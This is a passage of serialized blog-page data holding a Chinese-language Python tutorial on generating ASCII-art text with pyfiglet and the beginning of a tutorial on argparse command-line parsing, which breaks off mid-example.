\n",{"type":18,"tag":297,"props":28902,"children":28903},{"class":299,"line":799},[28904],{"type":18,"tag":297,"props":28905,"children":28906},{},[28907],{"type":24,"value":28908},"|  __\u002F| |_| | |_| | | | (_) | | | |\n",{"type":18,"tag":297,"props":28910,"children":28911},{"class":299,"line":808},[28912],{"type":18,"tag":297,"props":28913,"children":28914},{},[28915],{"type":24,"value":28916},"|_|    \\__, |\\__|_| |_|\\___\u002F|_| |_|\n",{"type":18,"tag":297,"props":28918,"children":28919},{"class":299,"line":817},[28920],{"type":18,"tag":297,"props":28921,"children":28922},{},[28923],{"type":24,"value":28924},"       |___\u002F\n",{"type":18,"tag":19,"props":28926,"children":28928},{"id":28927},"四高级功能",[28929],{"type":24,"value":28930},"四、高级功能",{"type":18,"tag":121,"props":28932,"children":28933},{},[],{"type":18,"tag":27,"props":28935,"children":28937},{"id":28936},"_1-使用-figlet-类",[28938],{"type":24,"value":28939},"1. 使用 Figlet 类",{"type":18,"tag":287,"props":28941,"children":28943},{"className":28710,"code":28942,"language":28712,"meta":8,"style":8},"from pyfiglet import Figlet\n\nf = Figlet(font='banner')\nprint(f.renderText('Advanced'))\n",[28944],{"type":18,"tag":74,"props":28945,"children":28946},{"__ignoreMap":8},[28947,28955,28962,28970],{"type":18,"tag":297,"props":28948,"children":28949},{"class":299,"line":300},[28950],{"type":18,"tag":297,"props":28951,"children":28952},{},[28953],{"type":24,"value":28954},"from pyfiglet import Figlet\n",{"type":18,"tag":297,"props":28956,"children":28957},{"class":299,"line":657},[28958],{"type":18,"tag":297,"props":28959,"children":28960},{"emptyLinePlaceholder":793},[28961],{"type":24,"value":796},{"type":18,"tag":297,"props":28963,"children":28964},{"class":299,"line":662},[28965],{"type":18,"tag":297,"props":28966,"children":28967},{},[28968],{"type":24,"value":28969},"f = Figlet(font='banner')\n",{"type":18,"tag":297,"props":28971,"children":28972},{"class":299,"line":799},[28973],{"type":18,"tag":297,"props":28974,"children":28975},{},[28976],{"type":24,"value":28977},"print(f.renderText('Advanced'))\n",{"type":18,"tag":34,"props":28979,"children":28980},{},[28981],{"type":24,"value":28789},{"type":18,"tag":287,"props":28983,"children":28985},{"className":28792,"code":28984,"language":24,"meta":8,"style":8},"     #     #    #    ######  ####### \n     #     #   # #   #     # #     # \n     #     #  #   #  #     # #     # \n     #     # #     # ######  #     # \n      #   #  ####### #       #     # \n       # #   #     # #       #     # \n        #    #     # #       ####### \n",[28986],{"type":18,"tag":74,"props":28987,"children":28988},{"__ignoreMap":8},[28989,28997,29005,29013,29021,29029,29037],{"type":18,"tag":297,"props":28990,"children":28991},{"class":299,"line":300},[28992],{"type":18,"tag":297,"props":28993,"children":28994},{},[28995],{"type":24,"value":28996},"     #     #    #    ######  ####### \n",{"type":18,"tag":297,"props":28998,"children":28999},{"class":299,"line":657},[29000],{"type":18,"tag":297,"props":29001,"children":29002},{},[29003],{"type":24,"value":29004},"     #     #   # #   #     # #     # \n",{"type":18,"tag":297,"props":29006,"children":29007},{"class":299,"line":662},[29008],{"type":18,"tag":297,"props":29009,"children":29010},{},[29011],{"type":24,"value":29012},"     #     #  #   #  #     # #     # \n",{"type":18,"tag":297,"props":29014,"children":29015},{"class":299,"line":799},[29016],{"type":18,"tag":297,"props":29017,"children":29018},{},[29019],{"type":24,"value":29020},"     #     # #     # ######  #     # \n",{"type":18,"tag":297,"props":29022,"children":29023},{"class":299,"line":808},[29024],{"type":18,"tag":297,"props":29025,"children":29026},{},[29027],{"type":24,"value":29028},"      #   #  ####### #       #     # \n",{"type":18,"tag":297,"props":29030,"children":29031},{"class":299,"line":817},[29032],{"type":18,"tag":297,"props":29033,"children":29034},{},[29035],{"type":24,"value":29036},"       # #   #     # #       #     # \n",{"type":18,"tag":297,"props":29038,"children":29039},{"class":299,"line":826},[29040],{"type":18,"tag":297,"props":29041,"children":29042},{},[29043],{"type":24,"value":29044},"        #    #     # #       #######\n",{"type":18,"tag":27,"props":29046,"children":29048},{"id":29047},"_2-设置输出宽度",[29049],{"type":24,"value":29050},"2. 设置输出宽度",{"type":18,"tag":287,"props":29052,"children":29054},{"className":28710,"code":29053,"language":28712,"meta":8,"style":8},"f = Figlet(font='standard', width=100)\nprint(f.renderText('Wide Text'))\n",[29055],{"type":18,"tag":74,"props":29056,"children":29057},{"__ignoreMap":8},[29058,29066],{"type":18,"tag":297,"props":29059,"children":29060},{"class":299,"line":300},[29061],{"type":18,"tag":297,"props":29062,"children":29063},{},[29064],{"type":24,"value":29065},"f = Figlet(font='standard', width=100)\n",{"type":18,"tag":297,"props":29067,"children":29068},{"class":299,"line":657},[29069],{"type":18,"tag":297,"props":29070,"children":29071},{},[29072],{"type":24,"value":29073},"print(f.renderText('Wide Text'))\n",{"type":18,"tag":27,"props":29075,"children":29077},{"id":29076},"_3-文本对齐方式",[29078],{"type":24,"value":29079},"3. 文本对齐方式",{"type":18,"tag":287,"props":29081,"children":29083},{"className":28710,"code":29082,"language":28712,"meta":8,"style":8},"f = Figlet(font='small', justify='center')  # 可选 'left', 'center', 'right'\nprint(f.renderText('Centered'))\n",[29084],{"type":18,"tag":74,"props":29085,"children":29086},{"__ignoreMap":8},[29087,29095],{"type":18,"tag":297,"props":29088,"children":29089},{"class":299,"line":300},[29090],{"type":18,"tag":297,"props":29091,"children":29092},{},[29093],{"type":24,"value":29094},"f = Figlet(font='small', justify='center')  # 可选 'left', 'center', 'right'\n",{"type":18,"tag":297,"props":29096,"children":29097},{"class":299,"line":657},[29098],{"type":18,"tag":297,"props":29099,"children":29100},{},[29101],{"type":24,"value":29102},"print(f.renderText('Centered'))\n",{"type":18,"tag":19,"props":29104,"children":29106},{"id":29105},"五字体管理",[29107],{"type":24,"value":29108},"五、字体管理",{"type":18,"tag":121,"props":29110,"children":29111},{},[],{"type":18,"tag":27,"props":29113,"children":29115},{"id":29114},"_1-获取可用字体列表",[29116],{"type":24,"value":29117},"1. 获取可用字体列表",{"type":18,"tag":287,"props":29119,"children":29121},{"className":28710,"code":29120,"language":28712,"meta":8,"style":8},"from pyfiglet import FigletFont\n\nprint(FigletFont.getFonts())\n",[29122],{"type":18,"tag":74,"props":29123,"children":29124},{"__ignoreMap":8},[29125,29133,29140],{"type":18,"tag":297,"props":29126,"children":29127},{"class":299,"line":300},[29128],{"type":18,"tag":297,"props":29129,"children":29130},{},[29131],{"type":24,"value":29132},"from pyfiglet import FigletFont\n",{"type":18,"tag":297,"props":29134,"children":29135},{"class":299,"line":657},[29136],{"type":18,"tag":297,"props":29137,"children":29138},{"emptyLinePlaceholder":793},[29139],{"type":24,"value":796},{"type":18,"tag":297,"props":29141,"children":29142},{"class":299,"line":662},[29143],{"type":18,"tag":297,"props":29144,"children":29145},{},[29146],{"type":24,"value":29147},"print(FigletFont.getFonts())\n",{"type":18,"tag":27,"props":29149,"children":29151},{"id":29150},"_2-使用自定义字体",[29152],{"type":24,"value":29153},"2. 使用自定义字体",{"type":18,"tag":154,"props":29155,"children":29156},{},[29157,29170,29191],{"type":18,"tag":158,"props":29158,"children":29159},{},[29160,29162,29168],{"type":24,"value":29161},"首先获取字体文件 (",{"type":18,"tag":74,"props":29163,"children":29165},{"className":29164},[],[29166],{"type":24,"value":29167},".flf",{"type":24,"value":29169},")",{"type":18,"tag":158,"props":29171,"children":29172},{},[29173,29175,29181,29183,29189],{"type":24,"value":29174},"将字体文件放在",{"type":18,"tag":74,"props":29176,"children":29178},{"className":29177},[],[29179],{"type":24,"value":29180}," pyfiglet",{"type":24,"value":29182}," 的 ",{"type":18,"tag":74,"props":29184,"children":29186},{"className":29185},[],[29187],{"type":24,"value":29188},"fonts",{"type":24,"value":29190}," 目录或指定路径",{"type":18,"tag":158,"props":29192,"children":29193},{},[29194],{"type":24,"value":29195},"使用字体:",{"type":18,"tag":287,"props":29197,"children":29199},{"className":28710,"code":29198,"language":28712,"meta":8,"style":8},"f = Figlet(font='path\u002Fto\u002Fcustom.flf')\n",[29200],{"type":18,"tag":74,"props":29201,"children":29202},{"__ignoreMap":8},[29203],{"type":18,"tag":297,"props":29204,"children":29205},{"class":299,"line":300},[29206],{"type":18,"tag":297,"props":29207,"children":29208},{},[29209],{"type":24,"value":29198},{"type":18,"tag":19,"props":29211,"children":29213},{"id":29212},"六实用示例",[29214],{"type":24,"value":29215},"六、实用示例",{"type":18,"tag":121,"props":29217,"children":29218},{},[],{"type":18,"tag":27,"props":29220,"children":29222},{"id":29221},"_1-创建欢迎横幅",[29223],{"type":24,"value":29224},"1. 创建欢迎横幅",{"type":18,"tag":287,"props":29226,"children":29228},{"className":28710,"code":29227,"language":28712,"meta":8,"style":8},"def welcome_banner():\n    f = Figlet(font='big', width=120)\n    print(f.renderText('WELCOME'))\n    print(\"-\" * 80)\n    print(\" Welcome to our Python application!\".center(80))\n    print(\"-\" * 80)\n\nwelcome_banner()\n",[29229],{"type":18,"tag":74,"props":29230,"children":29231},{"__ignoreMap":8},[29232,29240,29248,29256,29264,29272,29279,29286],{"type":18,"tag":297,"props":29233,"children":29234},{"class":299,"line":300},[29235],{"type":18,"tag":297,"props":29236,"children":29237},{},[29238],{"type":24,"value":29239},"def welcome_banner():\n",{"type":18,"tag":297,"props":29241,"children":29242},{"class":299,"line":657},[29243],{"type":18,"tag":297,"props":29244,"children":29245},{},[29246],{"type":24,"value":29247},"    f = Figlet(font='big', width=120)\n",{"type":18,"tag":297,"props":29249,"children":29250},{"class":299,"line":662},[29251],{"type":18,"tag":297,"props":29252,"children":29253},{},[29254],{"type":24,"value":29255},"    print(f.renderText('WELCOME'))\n",{"type":18,"tag":297,"props":29257,"children":29258},{"class":299,"line":799},[29259],{"type":18,"tag":297,"props":29260,"children":29261},{},[29262],{"type":24,"value":29263},"    print(\"-\" * 80)\n",{"type":18,"tag":297,"props":29265,"children":29266},{"class":299,"line":808},[29267],{"type":18,"tag":297,"props":29268,"children":29269},{},[29270],{"type":24,"value":29271},"    print(\" Welcome to our Python application!\".center(80))\n",{"type":18,"tag":297,"props":29273,"children":29274},{"class":299,"line":817},[29275],{"type":18,"tag":297,"props":29276,"children":29277},{},[29278],{"type":24,"value":29263},{"type":18,"tag":297,"props":29280,"children":29281},{"class":299,"line":826},[29282],{"type":18,"tag":297,"props":29283,"children":29284},{"emptyLinePlaceholder":793},[29285],{"type":24,"value":796},{"type":18,"tag":297,"props":29287,"children":29288},{"class":299,"line":4524},[29289],{"type":18,"tag":297,"props":29290,"children":29291},{},[29292],{"type":24,"value":29293},"welcome_banner()\n",{"type":18,"tag":27,"props":29295,"children":29297},{"id":29296},"_2-进度指示器",[29298],{"type":24,"value":29299},"2. 进度指示器",{"type":18,"tag":287,"props":29301,"children":29303},{"className":28710,"code":29302,"language":28712,"meta":8,"style":8},"import time\n\nfor i in range(1, 6):\n    text = f\"STEP {i}\"\n    print(pyfiglet.figlet_format(text, font=\"mini\"))\n    time.sleep(1)\n",[29304],{"type":18,"tag":74,"props":29305,"children":29306},{"__ignoreMap":8},[29307,29315,29322,29330,29338,29346],{"type":18,"tag":297,"props":29308,"children":29309},{"class":299,"line":300},[29310],{"type":18,"tag":297,"props":29311,"children":29312},{},[29313],{"type":24,"value":29314},"import time\n",{"type":18,"tag":297,"props":29316,"children":29317},{"class":299,"line":657},[29318],{"type":18,"tag":297,"props":29319,"children":29320},{"emptyLinePlaceholder":793},[29321],{"type":24,"value":796},{"type":18,"tag":297,"props":29323,"children":29324},{"class":299,"line":662},[29325],{"type":18,"tag":297,"props":29326,"children":29327},{},[29328],{"type":24,"value":29329},"for i in range(1, 6):\n",{"type":18,"tag":297,"props":29331,"children":29332},{"class":299,"line":799},[29333],{"type":18,"tag":297,"props":29334,"children":29335},{},[29336],{"type":24,"value":29337},"    text = f\"STEP {i}\"\n",{"type":18,"tag":297,"props":29339,"children":29340},{"class":299,"line":808},[29341],{"type":18,"tag":297,"props":29342,"children":29343},{},[29344],{"type":24,"value":29345},"    print(pyfiglet.figlet_format(text, font=\"mini\"))\n",{"type":18,"tag":297,"props":29347,"children":29348},{"class":299,"line":817},[29349],{"type":18,"tag":297,"props":29350,"children":29351},{},[29352],{"type":24,"value":29353},"    time.sleep(1)\n",{"type":18,"tag":27,"props":29355,"children":29357},{"id":29356},"_3-彩色-ascii-艺术字",[29358],{"type":24,"value":29359},"3. 彩色 ASCII 艺术字",{"type":18,"tag":34,"props":29361,"children":29362},{},[29363],{"type":24,"value":29364},"结合 colorama 模块:",{"type":18,"tag":287,"props":29366,"children":29368},{"className":28710,"code":29367,"language":28712,"meta":8,"style":8},"from colorama import Fore, init\ninit()\n\nresult = pyfiglet.figlet_format(\"COLOR\", font=\"slant\")\nprint(Fore.RED + result)\n",[29369],{"type":18,"tag":74,"props":29370,"children":29371},{"__ignoreMap":8},[29372,29380,29388,29395,29403],{"type":18,"tag":297,"props":29373,"children":29374},{"class":299,"line":300},[29375],{"type":18,"tag":297,"props":29376,"children":29377},{},[29378],{"type":24,"value":29379},"from colorama import Fore, init\n",{"type":18,"tag":297,"props":29381,"children":29382},{"class":299,"line":657},[29383],{"type":18,"tag":297,"props":29384,"children":29385},{},[29386],{"type":24,"value":29387},"init()\n",{"type":18,"tag":297,"props":29389,"children":29390},{"class":299,"line":662},[29391],{"type":18,"tag":297,"props":29392,"children":29393},{"emptyLinePlaceholder":793},[29394],{"type":24,"value":796},{"type":18,"tag":297,"props":29396,"children":29397},{"class":299,"line":799},[29398],{"type":18,"tag":297,"props":29399,"children":29400},{},[29401],{"type":24,"value":29402},"result = pyfiglet.figlet_format(\"COLOR\", font=\"slant\")\n",{"type":18,"tag":297,"props":29404,"children":29405},{"class":299,"line":808},[29406],{"type":18,"tag":297,"props":29407,"children":29408},{},[29409],{"type":24,"value":29410},"print(Fore.RED + result)\n",{"type":18,"tag":19,"props":29412,"children":29414},{"id":29413},"七常见问题解答",[29415],{"type":24,"value":29416},"七、常见问题解答",{"type":18,"tag":121,"props":29418,"children":29419},{},[],{"type":18,"tag":27,"props":29421,"children":29423},{"id":29422},"_1-字体显示不正常",[29424],{"type":24,"value":29425},"1. 字体显示不正常",{"type":18,"tag":210,"props":29427,"children":29428},{},[29429,29434,29439],{"type":18,"tag":158,"props":29430,"children":29431},{},[29432],{"type":24,"value":29433},"确保终端支持 ASCII 艺术字",{"type":18,"tag":158,"props":29435,"children":29436},{},[29437],{"type":24,"value":29438},"尝试不同的字体",{"type":18,"tag":158,"props":29440,"children":29441},{},[29442],{"type":24,"value":29443},"检查终端字体设置",{"type":18,"tag":27,"props":29445,"children":29447},{"id":29446},"_2-如何调整字符间距",[29448],{"type":24,"value":29449},"2. 如何调整字符间距",{"type":18,"tag":34,"props":29451,"children":29452},{},[29453,29454,29460,29462,29468],{"type":24,"value":6499},{"type":18,"tag":74,"props":29455,"children":29457},{"className":29456},[],[29458],{"type":24,"value":29459},"Figlet",{"type":24,"value":29461}," 类的 ",{"type":18,"tag":74,"props":29463,"children":29465},{"className":29464},[],[29466],{"type":24,"value":29467},"setFont()",{"type":24,"value":29469}," 方法:",{"type":18,"tag":287,"props":29471,"children":29473},{"className":28710,"code":29472,"language":28712,"meta":8,"style":8},"f = Figlet()\nf.setFont(font='term', kwidth=2)  # 增加字符间距\nprint(f.renderText('Spaced'))\n",[29474],{"type":18,"tag":74,"props":29475,"children":29476},{"__ignoreMap":8},[29477,29485,29493],{"type":18,"tag":297,"props":29478,"children":29479},{"class":299,"line":300},[29480],{"type":18,"tag":297,"props":29481,"children":29482},{},[29483],{"type":24,"value":29484},"f = Figlet()\n",{"type":18,"tag":297,"props":29486,"children":29487},{"class":299,"line":657},[29488],{"type":18,"tag":297,"props":29489,"children":29490},{},[29491],{"type":24,"value":29492},"f.setFont(font='term', kwidth=2)  # 增加字符间距\n",{"type":18,"tag":297,"props":29494,"children":29495},{"class":299,"line":662},[29496],{"type":18,"tag":297,"props":29497,"children":29498},{},[29499],{"type":24,"value":29500},"print(f.renderText('Spaced'))\n",{"type":18,"tag":27,"props":29502,"children":29504},{"id":29503},"_3-多行文本处理",[29505],{"type":24,"value":29506},"3. 多行文本处理",{"type":18,"tag":287,"props":29508,"children":29510},{"className":28710,"code":29509,"language":28712,"meta":8,"style":8},"text = \"\"\"Line 1\nLine 2\nLine 3\"\"\"\n\nfor line in text.split('\\n'):\n    print(pyfiglet.figlet_format(line, font=\"small\"))\n",[29511],{"type":18,"tag":74,"props":29512,"children":29513},{"__ignoreMap":8},[29514,29522,29530,29538,29545,29553],{"type":18,"tag":297,"props":29515,"children":29516},{"class":299,"line":300},[29517],{"type":18,"tag":297,"props":29518,"children":29519},{},[29520],{"type":24,"value":29521},"text = \"\"\"Line 1\n",{"type":18,"tag":297,"props":29523,"children":29524},{"class":299,"line":657},[29525],{"type":18,"tag":297,"props":29526,"children":29527},{},[29528],{"type":24,"value":29529},"Line 2\n",{"type":18,"tag":297,"props":29531,"children":29532},{"class":299,"line":662},[29533],{"type":18,"tag":297,"props":29534,"children":29535},{},[29536],{"type":24,"value":29537},"Line 3\"\"\"\n",{"type":18,"tag":297,"props":29539,"children":29540},{"class":299,"line":799},[29541],{"type":18,"tag":297,"props":29542,"children":29543},{"emptyLinePlaceholder":793},[29544],{"type":24,"value":796},{"type":18,"tag":297,"props":29546,"children":29547},{"class":299,"line":808},[29548],{"type":18,"tag":297,"props":29549,"children":29550},{},[29551],{"type":24,"value":29552},"for line in text.split('\\n'):\n",{"type":18,"tag":297,"props":29554,"children":29555},{"class":299,"line":817},[29556],{"type":18,"tag":297,"props":29557,"children":29558},{},[29559],{"type":24,"value":29560},"    print(pyfiglet.figlet_format(line, font=\"small\"))\n",{"type":18,"tag":19,"props":29562,"children":29564},{"id":29563},"八最佳实践",[29565],{"type":24,"value":29566},"八、最佳实践",{"type":18,"tag":154,"props":29568,"children":29569},{},[29570,29575,29588,29593],{"type":18,"tag":158,"props":29571,"children":29572},{},[29573],{"type":24,"value":29574},"对于长文本，考虑使用较简单的字体",{"type":18,"tag":158,"props":29576,"children":29577},{},[29578,29580,29586],{"type":24,"value":29579},"在 Web 应用中，可以将输出转换为 HTML 的 ",{"type":18,"tag":74,"props":29581,"children":29583},{"className":29582},[],[29584],{"type":24,"value":29585},"\u003Cpre>",{"type":24,"value":29587}," 标签",{"type":18,"tag":158,"props":29589,"children":29590},{},[29591],{"type":24,"value":29592},"日志系统中可以使用 ASCII banner 分隔不同部分",{"type":18,"tag":158,"props":29594,"children":29595},{},[29596],{"type":24,"value":29597},"结合进度条库创建更丰富的终端界面",{"type":18,"tag":19,"props":29599,"children":29601},{"id":29600},"九总结",[29602],{"type":24,"value":29603},"九、总结",{"type":18,"tag":34,"props":29605,"children":29606},{},[29607],{"type":24,"value":29608},"Pyfiglet 是一个功能强大且易于使用的 ASCII 艺术字生成工具，适用于:",{"type":18,"tag":210,"props":29610,"children":29611},{},[29612,29617,29622,29627],{"type":18,"tag":158,"props":29613,"children":29614},{},[29615],{"type":24,"value":29616},"命令行工具美化",{"type":18,"tag":158,"props":29618,"children":29619},{},[29620],{"type":24,"value":29621},"日志系统装饰",{"type":18,"tag":158,"props":29623,"children":29624},{},[29625],{"type":24,"value":29626},"终端应用界面",{"type":18,"tag":158,"props":29628,"children":29629},{},[29630],{"type":24,"value":29631},"生成独特的文本输出",{"type":18,"tag":34,"props":29633,"children":29634},{},[29635],{"type":24,"value":29636},"通过本教程，掌握了 Pyfiglet 的基本和高级用法，可以开始在项目中应用这些技术了。",{"type":18,"tag":651,"props":29638,"children":29639},{},[29640],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":29642},[29643,29646,29650,29654,29659,29663,29668,29673,29674],{"id":28622,"depth":657,"text":28625,"children":29644},[29645],{"id":28636,"depth":662,"text":28636},{"id":28664,"depth":657,"text":28667,"children":29647},[29648,29649],{"id":28673,"depth":662,"text":28676},{"id":28704,"depth":662,"text":28707},{"id":28735,"depth":657,"text":28738,"children":29651},[29652,29653],{"id":28744,"depth":662,"text":28747},{"id":28840,"depth":662,"text":28843},{"id":28927,"depth":657,"text":28930,"children":29655},[29656,29657,29658],{"id":28936,"depth":662,"text":28939},{"id":29047,"depth":662,"text":29050},{"id":29076,"depth":662,"text":29079},{"id":29105,"depth":657,"text":29108,"children":29660},[29661,29662],{"id":29114,"depth":662,"text":29117},{"id":29150,"depth":662,"text":29153},{"id":29212,"depth":657,"text":29215,"children":29664},[29665,29666,29667],{"id":29221,"depth":662,"text":29224},{"id":29296,"depth":662,"text":29299},{"id":29356,"depth":662,"text":29359},{"id":29413,"depth":657,"text":29416,"children":29669},[29670,29671,29672],{"id":29422,"depth":662,"text":29425},{"id":29446,"depth":662,"text":29449},{"id":29503,"depth":662,"text":29506},{"id":29563,"depth":657,"text":29566},{"id":29600,"depth":657,"text":29603},"content:blog:2026-03-05-pyfiglet-guide.md","blog\u002F2026-03-05-pyfiglet-guide.md","blog\u002F2026-03-05-pyfiglet-guide",{"_path":29679,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":29680,"description":29681,"date":29682,"tags":29683,"body":29685,"_type":672,"_id":30671,"_source":674,"_file":30672,"_stem":30673,"_extension":677},"\u002Fblog\u002F2026-03-01-argparse-guide","argparse 命令行参数解析工具","Python argparse 标准库使用教程，掌握命令行参数解析、类型转换和自动帮助信息生成。","2026-03-01",[28616,29684],"命令行",{"type":15,"children":29686,"toc":30663},[29687,29705,29710,29779,29784,29789,29831,29835,30035,30040,30045,30057,30086,30091,30116,30122,30163,30167,30198,30204,30232,30236,30329,30335,30362,30367,30381,30393,30626,30630,30659],{"type":18,"tag":34,"props":29688,"children":29689},{},[29690,29696,29698,29703],{"type":18,"tag":74,"props":29691,"children":29693},{"className":29692},[],[29694],{"type":24,"value":29695},"argparse",{"type":24,"value":29697}," 是 Python 标准库中用于解析命令行参数的强大工具，它可以自动处理参数解析、类型转换、生成帮助信息等。以下是使用 ",{"type":18,"tag":74,"props":29699,"children":29701},{"className":29700},[],[29702],{"type":24,"value":29695},{"type":24,"value":29704}," 解析命令行参数的详细步骤和示例。",{"type":18,"tag":27,"props":29706,"children":29708},{"id":29707},"基本使用步骤",[29709],{"type":24,"value":29707},{"type":18,"tag":154,"props":29711,"children":29712},{},[29713,29721,29738,29755,29771],{"type":18,"tag":158,"props":29714,"children":29715},{},[29716],{"type":18,"tag":105,"props":29717,"children":29718},{},[29719],{"type":24,"value":29720},"导入 argparse 模块",{"type":18,"tag":158,"props":29722,"children":29723},{},[29724,29729,29731,29737],{"type":18,"tag":105,"props":29725,"children":29726},{},[29727],{"type":24,"value":29728},"创建解析器对象",{"type":24,"value":29730},"（",{"type":18,"tag":74,"props":29732,"children":29734},{"className":29733},[],[29735],{"type":24,"value":29736},"ArgumentParser",{"type":24,"value":6182},{"type":18,"tag":158,"props":29739,"children":29740},{},[29741,29746,29747,29753],{"type":18,"tag":105,"props":29742,"children":29743},{},[29744],{"type":24,"value":29745},"添加参数规则",{"type":24,"value":29730},{"type":18,"tag":74,"props":29748,"children":29750},{"className":29749},[],[29751],{"type":24,"value":29752},"add_argument()",{"type":24,"value":29754}," 方法）",{"type":18,"tag":158,"props":29756,"children":29757},{},[29758,29763,29764,29770],{"type":18,"tag":105,"props":29759,"children":29760},{},[29761],{"type":24,"value":29762},"解析参数",{"type":24,"value":29730},{"type":18,"tag":74,"props":29765,"children":29767},{"className":29766},[],[29768],{"type":24,"value":29769},"parse_args()",{"type":24,"value":29754},{"type":18,"tag":158,"props":29772,"children":29773},{},[29774],{"type":18,"tag":105,"props":29775,"children":29776},{},[29777],{"type":24,"value":29778},"使用解析后的参数",{"type":18,"tag":27,"props":29780,"children":29782},{"id":29781},"详细示例",[29783],{"type":24,"value":29781},{"type":18,"tag":34,"props":29785,"children":29786},{},[29787],{"type":24,"value":29788},"假设我们要实现一个脚本，支持接收以下参数：",{"type":18,"tag":210,"props":29790,"children":29791},{},[29792,29805,29818],{"type":18,"tag":158,"props":29793,"children":29794},{},[29795,29797,29803],{"type":24,"value":29796},"必选参数：",{"type":18,"tag":74,"props":29798,"children":29800},{"className":29799},[],[29801],{"type":24,"value":29802},"-n",{"type":24,"value":29804},"（数字，如年龄）",{"type":18,"tag":158,"props":29806,"children":29807},{},[29808,29810,29816],{"type":24,"value":29809},"可选参数：",{"type":18,"tag":74,"props":29811,"children":29813},{"className":29812},[],[29814],{"type":24,"value":29815},"-m",{"type":24,"value":29817},"（字符串，如消息）",{"type":18,"tag":158,"props":29819,"children":29820},{},[29821,29823,29829],{"type":24,"value":29822},"标志参数：",{"type":18,"tag":74,"props":29824,"children":29826},{"className":29825},[],[29827],{"type":24,"value":29828},"-v",{"type":24,"value":29830},"（无值，用于开启 verbose 模式）",{"type":18,"tag":337,"props":29832,"children":29833},{"id":18641},[29834],{"type":24,"value":18641},{"type":18,"tag":287,"props":29836,"children":29838},{"className":28710,"code":29837,"language":28712,"meta":8,"style":8},"# demo.py\nimport argparse\n\n# 1. 创建解析器对象，可指定脚本描述\nparser = argparse.ArgumentParser(description=\"这是一个argparse示例脚本，用于演示参数解析\")\n\n# 2. 添加参数规则\n# 添加必选参数 -n（整数类型）\nparser.add_argument('-n', '--number', type=int, required=True, help='必选数字参数（整数），例如年龄')\n\n# 添加可选参数 -m（字符串类型，默认值为\"hello\"）\nparser.add_argument('-m', '--message', type=str, default='hello', help='可选字符串参数（默认值：hello）')\n\n# 添加标志参数 -v（无需值，出现则为True）\nparser.add_argument('-v', '--verbose', action='store_true', help='开启详细输出模式')\n\n# 3. 解析命令行参数\nargs = parser.parse_args()\n\n# 4. 使用解析后的参数\nprint(f\"数字参数: {args.number}（类型：{type(args.number)}）\")\nprint(f\"消息参数: {args.message}（类型：{type(args.message)}）\")\n\nif args.verbose:\n    print(\"详细模式已开启：正在执行额外的日志输出...\")\n",[29839],{"type":18,"tag":74,"props":29840,"children":29841},{"__ignoreMap":8},[29842,29850,29858,29865,29873,29881,29888,29896,29904,29912,29919,29927,29935,29942,29950,29958,29965,29973,29981,29988,29996,30004,30012,30019,30027],{"type":18,"tag":297,"props":29843,"children":29844},{"class":299,"line":300},[29845],{"type":18,"tag":297,"props":29846,"children":29847},{},[29848],{"type":24,"value":29849},"# demo.py\n",{"type":18,"tag":297,"props":29851,"children":29852},{"class":299,"line":657},[29853],{"type":18,"tag":297,"props":29854,"children":29855},{},[29856],{"type":24,"value":29857},"import argparse\n",{"type":18,"tag":297,"props":29859,"children":29860},{"class":299,"line":662},[29861],{"type":18,"tag":297,"props":29862,"children":29863},{"emptyLinePlaceholder":793},[29864],{"type":24,"value":796},{"type":18,"tag":297,"props":29866,"children":29867},{"class":299,"line":799},[29868],{"type":18,"tag":297,"props":29869,"children":29870},{},[29871],{"type":24,"value":29872},"# 1. 创建解析器对象，可指定脚本描述\n",{"type":18,"tag":297,"props":29874,"children":29875},{"class":299,"line":808},[29876],{"type":18,"tag":297,"props":29877,"children":29878},{},[29879],{"type":24,"value":29880},"parser = argparse.ArgumentParser(description=\"这是一个argparse示例脚本，用于演示参数解析\")\n",{"type":18,"tag":297,"props":29882,"children":29883},{"class":299,"line":817},[29884],{"type":18,"tag":297,"props":29885,"children":29886},{"emptyLinePlaceholder":793},[29887],{"type":24,"value":796},{"type":18,"tag":297,"props":29889,"children":29890},{"class":299,"line":826},[29891],{"type":18,"tag":297,"props":29892,"children":29893},{},[29894],{"type":24,"value":29895},"# 2. 添加参数规则\n",{"type":18,"tag":297,"props":29897,"children":29898},{"class":299,"line":4524},[29899],{"type":18,"tag":297,"props":29900,"children":29901},{},[29902],{"type":24,"value":29903},"# 添加必选参数 -n（整数类型）\n",{"type":18,"tag":297,"props":29905,"children":29906},{"class":299,"line":4533},[29907],{"type":18,"tag":297,"props":29908,"children":29909},{},[29910],{"type":24,"value":29911},"parser.add_argument('-n', '--number', type=int, required=True, help='必选数字参数（整数），例如年龄')\n",{"type":18,"tag":297,"props":29913,"children":29914},{"class":299,"line":4546},[29915],{"type":18,"tag":297,"props":29916,"children":29917},{"emptyLinePlaceholder":793},[29918],{"type":24,"value":796},{"type":18,"tag":297,"props":29920,"children":29921},{"class":299,"line":4555},[29922],{"type":18,"tag":297,"props":29923,"children":29924},{},[29925],{"type":24,"value":29926},"# 添加可选参数 -m（字符串类型，默认值为\"hello\"）\n",{"type":18,"tag":297,"props":29928,"children":29929},{"class":299,"line":4568},[29930],{"type":18,"tag":297,"props":29931,"children":29932},{},[29933],{"type":24,"value":29934},"parser.add_argument('-m', '--message', type=str, default='hello', help='可选字符串参数（默认值：hello）')\n",{"type":18,"tag":297,"props":29936,"children":29937},{"class":299,"line":4577},[29938],{"type":18,"tag":297,"props":29939,"children":29940},{"emptyLinePlaceholder":793},[29941],{"type":24,"value":796},{"type":18,"tag":297,"props":29943,"children":29944},{"class":299,"line":4590},[29945],{"type":18,"tag":297,"props":29946,"children":29947},{},[29948],{"type":24,"value":29949},"# 添加标志参数 -v（无需值，出现则为True）\n",{"type":18,"tag":297,"props":29951,"children":29952},{"class":299,"line":4599},[29953],{"type":18,"tag":297,"props":29954,"children":29955},{},[29956],{"type":24,"value":29957},"parser.add_argument('-v', '--verbose', action='store_true', help='开启详细输出模式')\n",{"type":18,"tag":297,"props":29959,"children":29960},{"class":299,"line":4607},[29961],{"type":18,"tag":297,"props":29962,"children":29963},{"emptyLinePlaceholder":793},[29964],{"type":24,"value":796},{"type":18,"tag":297,"props":29966,"children":29967},{"class":299,"line":4616},[29968],{"type":18,"tag":297,"props":29969,"children":29970},{},[29971],{"type":24,"value":29972},"# 3. 解析命令行参数\n",{"type":18,"tag":297,"props":29974,"children":29975},{"class":299,"line":4624},[29976],{"type":18,"tag":297,"props":29977,"children":29978},{},[29979],{"type":24,"value":29980},"args = 